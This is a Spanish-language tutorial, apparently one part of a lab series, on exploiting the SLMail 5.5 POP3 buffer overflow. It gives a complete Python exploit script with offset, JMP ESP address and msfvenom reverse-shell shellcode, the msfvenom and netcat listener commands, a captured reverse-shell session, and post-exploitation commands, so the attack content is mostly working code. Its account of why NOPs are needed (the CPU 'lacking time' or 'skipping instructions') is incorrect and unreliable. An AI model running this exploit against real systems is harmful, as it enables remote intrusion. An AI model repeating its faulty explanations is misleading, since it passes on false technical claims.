El código de la Parte 4 tiene un problema crítico:
payload = before_eip + eip + shellcode # ❌ Falla en la ejecución
📊 Análisis del problema
sequenceDiagram
participant CPU
participant EIP
participant ESP
participant Shellcode
CPU->>EIP: Lee dirección JMP ESP
EIP->>ESP: Salta al ESP
ESP->>Shellcode: Intenta ejecutar
Shellcode->>CPU: Instrucciones complejas
CPU->>CPU: ❌ No hay tiempo suficiente
CPU->>Shellcode: Salta instrucciones
Shellcode->>CPU: ❌ Código corrupto/incompleto
Note over CPU,Shellcode: El procesador no alcanza a interpretar<br/>todo el shellcode correctamente
🔍 Causas del fallo
Problema
Descripción
Consecuencia
Timing insuficiente
El shellcode es complejo y extenso
CPU no procesa todas las instrucciones
Alineación incorrecta
El ESP puede apuntar a mitad de una instrucción
Desincronización de instrucciones
Interferencia de registros
El JMP ESP puede alterar el stack
Corrupción del shellcode
Falta de estabilidad
Sin buffer entre EIP y shellcode
Ejecución impredecible
Síntomas comunes
🔴 El programa crashea sin ejecutar el shellcode
🔴 La reverse shell no se establece
🔴 Immunity Debugger muestra excepciones de acceso
🔴 El servicio SLMail se detiene abruptamente
Solución 1: NOPs (NOP Sled)
🛷 ¿Qué es un NOP Sled?
NOP = No OPeration (No Operación)
Un NOP sled (trineo de NOPs) es una secuencia de instrucciones NOP que:
🎯 No hacen nada (literalmente)
⏱️ Dan tiempo al CPU para estabilizarse
🎿 Crean un “tobogán” que desliza la ejecución hasta el shellcode
🛡️ Aumentan la superficie de entrada (más tolerancia a errores de alineación)
┌─────────────────────────────────────────────────────────┐
│ BEFORE_EIP (2606 bytes "A") │
│ ┌───────────────────────────────────────────────┐ │
│ │ A A A A A A A A A A A A A A A A A A A A ... │ │
│ └───────────────────────────────────────────────┘ │
├─────────────────────────────────────────────────────────┤
│ EIP (4 bytes - JMP ESP) │
│ ┌───────────────────────────────────────────────┐ │
│ │ \x13\x4d\x4c\x5f (0x5f4c4d13 Little Endian) │ │
│ └───────────────────────────────────────────────┘ │
├─────────────────────────────────────────────────────────┤
│ 🛷 NOP SLED (16 bytes) │
│ ┌───────────────────────────────────────────────┐ │
│ │ \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 ... │ │
│ └───────────────────────────────────────────────┘ │
├─────────────────────────────────────────────────────────┤
│ SHELLCODE (reverse shell) │
│ ┌───────────────────────────────────────────────┐ │
│ │ \xda\xcd\xd9\x74\x24\xf4... │ │
│ └───────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────┘
🎯 Ventajas del NOP Sled
graph LR
A["EIP salta al ESP"] --> B["Encuentra NOPs"]
B --> C["Ejecuta NOP<br/>(no hace nada)"]
C --> C
C --> D["CPU se estabiliza"]
D --> E["Llega al shellcode<br/>correctamente"]
E --> F["✅ RCE exitoso"]
style B fill:#ffff99
style C fill:#ffff99
style E fill:#90EE90
style F fill:#87CEEB
Ventaja
Descripción
Tolerancia a errores
Si el ESP no apunta exactamente al inicio, los NOPs absorben el error
Estabilidad
Da tiempo al CPU para prepararse
Debugging más fácil
Los NOPs son visibles en Immunity Debugger
Compatibilidad
Funciona en la mayoría de escenarios
¿Cuántos NOPs usar?
Mínimo: 8-16 bytes (lo común)
Recomendado: 16-32 bytes
Máximo: No más de 64 bytes (innecesario)
Para SLMail, 16 NOPs son suficientes.
Solución 2: Desplazamiento de pila
🔧 Concepto: SUB ESP
En lugar de usar NOPs, podemos desplazar el Stack Pointer (ESP) para dar espacio al shellcode.
Instrucción assembly:
SUB ESP, 0x10 ; Resta 16 bytes (0x10) al ESP
Esto hace que el ESP apunte más abajo en el stack, creando un buffer de seguridad.
connect to [192.168.1.100] from (UNKNOWN) [192.168.1.5] 1234Microsoft Windows [Version 6.1.7601]Copyright (c) 2009 Microsoft Corporation. All rights reserved.C:\Program Files\SLmail>
✅ ¡Reverse shell exitosa!
Ejecución del exploit completo
🎯 Exploit final (versión profesional)
#!/usr/bin/env python3"""SLMail 5.5 POP3 Buffer Overflow ExploitTarget: Windows 7 (32-bit)Vulnerability: PASS command overflowAuthor: [Tu nombre]"""from struct import packimport socketimport sysimport time# === CONFIGURACIÓN ===IP_ADDRESS = "192.168.1.5"PORT = 110OFFSET = 2606LHOST = "192.168.1.100" # IP de tu KaliLPORT = 443# === CONSTRUCCIÓN DEL PAYLOAD ===BEFORE_EIP = b"A" * OFFSETEIP = pack("<L", 0x5f4c4d13) # JMP ESP en SLMFC. DLL# Shellcode generado con msfvenom# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=443 \# -f py -e x86/shikata_ga_nai -b '\x00\x0a\x0d' EXITFUNC=threadSHELLCODE = ( b"\xda\xcd\xd9\x74\x24\xf4\xba\x4e\x9f\x3a\x7c\x5b" b"\x33\xc9\xb1\x52\x31\x53\x17\x03\x53\x17\x83\x29" b"\xfc\x4a\x96\x31\xea\x08\x59\xc9\xeb\x6d\xd0\x2c" # ... (resto del shellcode real de msfvenom))# 🛷 Opción 1: NOP Sled (recomendado)NOPS = b"\x90" * 16PAYLOAD = BEFORE_EIP + EIP + NOPS + SHELLCODE# 🔧 Opción 2: SUB ESP (alternativa)# SUB_ESP = b"\x83\xEC\x10"# PAYLOAD = BEFORE_EIP + EIP + SUB_ESP + SHELLCODEdef banner(): """Muestra banner del exploit""" print("\n" + "="*60) print(" SLMail 5.5 POP3 Buffer Overflow Exploit") print(" Target: PASS command (port 110)") print("="*60) print(f" Target IP: {IP_ADDRESS}") print(f" Target Port: {PORT}") print(f" Reverse to: {LHOST}:{LPORT}") print("="*60 + "\n")def exploit(ip, port): """ Explota buffer overflow en SLMail 5.5 Args: ip (str): IP de la víctima port (int): Puerto POP3 (110) """ try: print(f"[*] Conectando a {ip}:{port}...") s = socket.socket(socket. AF_INET, socket. SOCK_STREAM) s.settimeout(5) s.connect((ip, port)) # Recibir banner banner_resp = s.recv(1024) print(f"[+] Banner: {banner_resp.decode().strip()}") # Enviar USER s.send(b"USER test\r\n") user_resp = s.recv(1024) print(f"[+] USER: {user_resp.decode().strip()}") # Enviar PASS con payload print(f"\n[!] Enviando payload malicioso...") print(f" ├─ Offset: {OFFSET} bytes") print(f" ├─ EIP: 0x5f4c4d13 (JMP ESP)") print(f" ├─ NOPs: {len(NOPS)} bytes") print(f" ├─ Shellcode: {len(SHELLCODE)} bytes") print(f" └─ Total: {len(PAYLOAD)} bytes\n") s. send(b"PASS " + PAYLOAD + b"\r\n") s.close() print("[+] Payload enviado exitosamente ✓") print("\n[*] Esperando conexión de reverse shell...") print(f"[*] Verifica tu listener en puerto {LPORT}") print("[*] Comando: rlwrap nc -nlvp 443\n") except socket.timeout: print("[-] Timeout: La víctima no responde") except ConnectionRefusedError: print("[-] Conexión rechazada: ¿SLMail está corriendo?") except Exception as e: print(f"[-] Error: {e}")def main(): """Función principal""" global IP_ADDRESS, PORT if len(sys. argv) > 1: IP_ADDRESS = sys.argv[1] if len(sys.argv) > 2: PORT = int(sys.argv[2]) banner() exploit(IP_ADDRESS, PORT)if __name__ == '__main__': try: main() except KeyboardInterrupt: print("\n[!] Exploit cancelado por el usuario") sys.exit(0)
sequenceDiagram
participant K as Kali (Atacante)
participant N as Netcat Listener
participant E as Exploit Script
participant S as SLMail (Víctima)
participant W as Windows 7
K->>N: rlwrap nc -nlvp 443
Note over N: Esperando conexión...
K->>E: python exploit.py
E->>S: USER test
S->>E: +OK
E->>S: PASS + Payload (BOF)
S->>S: Buffer overflow
S->>S: EIP = 0x5f4c4d13
S->>S: JMP ESP (FFE4)
S->>S: Ejecuta NOPs
S->>S: Ejecuta shellcode
S->>N: Reverse shell TCP 443
N->>K: ✅ Shell establecida
K->>W: whoami, ipconfig, etc.
style S fill:#ffcccc
style N fill:#90EE90
Troubleshooting
🔍 Problemas comunes y soluciones
Problema
Causa posible
Solución
No llega la shell
Firewall de Windows activo
Deshabilitar firewall
SLMail crashea sin shell
Badchars en el shellcode
Regenerar con msfvenom -b '\x00\x0a\x0d'
Conexión rechazada
SLMail no está corriendo
Reiniciar servicio SLMail
Access violation
Dirección JMP ESP incorrecta
Verificar con !mona find
Shellcode no ejecuta
Falta NOPs o SUB ESP
Añadir \x90 × 16 antes del shellcode
🐛 Debugging en Immunity Debugger
Verificar el flujo de ejecución
Abrir Immunity Debugger
Adjuntar al proceso SLMail (File → Attach → SLmail.exe)
Follow in Dump el ESP (click derecho → Follow in Dump)
Deberías ver:
90 90 90 90 90 90 90 90... (NOPs)
Seguido del shellcode
🔧 Validar el shellcode
# Regenerar shellcode limpiomsfvenom -p windows/shell_reverse_tcp \ LHOST=192.168.1.100 \ LPORT=443 \ --platform windows \ -a x86 \ -f py \ -e x86/shikata_ga_nai \ -b '\x00\x0a\x0d' \ EXITFUNC=thread
📋 Checklist final
Listener de netcat corriendo en el puerto correcto
IP de LHOST en el shellcode coincide con tu Kali
Puerto LPORT coincide con el listener
Firewall de Windows deshabilitado
DEP deshabilitado en Windows 7
SLMail corriendo y adjuntado a Immunity (opcional)
Bad characters excluidos en msfvenom
Dirección JMP ESP válida (0x5f4c4d13)
NOPs o SUB ESP incluidos en el payload
💡 Conceptos clave
NOPs (0x90)
Instrucciones que “no hacen nada”. Se usan para crear un buffer de tiempo y espacio, permitiendo que el CPU ejecute el shellcode correctamente.
SUB ESP vs NOPs
NOPs: Simples, universales, fáciles de debugging
SUB ESP: Eficientes, menos bytes, más profesional
Ambos logran el mismo objetivo: dar espacio y tiempo al shellcode.
EXITFUNC=thread
Sin este parámetro en msfvenom, el servicio SLMail se detendrá después de la primera conexión. Con thread, el servicio sigue corriendo.
[! example] Comandos post-explotación
Una vez tengas la shell:
whoamihostnameipconfignet usersysteminfo
🎓 Resumen final
graph TD
A["Parte 1:<br/>Control del EIP"] --> B["Parte 2:<br/>Entender ESP y JMP ESP"]
B --> C["Parte 3:<br/>Detectar badchars"]
C --> D["Parte 4:<br/>Generar shellcode y OpCode"]
D --> E["Parte 5:<br/>NOPs/SUB ESP"]
E --> F["✅ RCE Completo<br/>Reverse Shell"]
style F fill:#90EE90
🎯 Exploit completado
✅ Buffer overflow exitoso en SLMail 5.5
✅ Control del EIP logrado
✅ Bad characters excluidos
✅ JMP ESP encontrado y aplicado
✅ NOPs/SUB ESP para estabilidad
✅ Reverse shell funcional
Resultado: Remote Code Execution (RCE) completo en Windows 7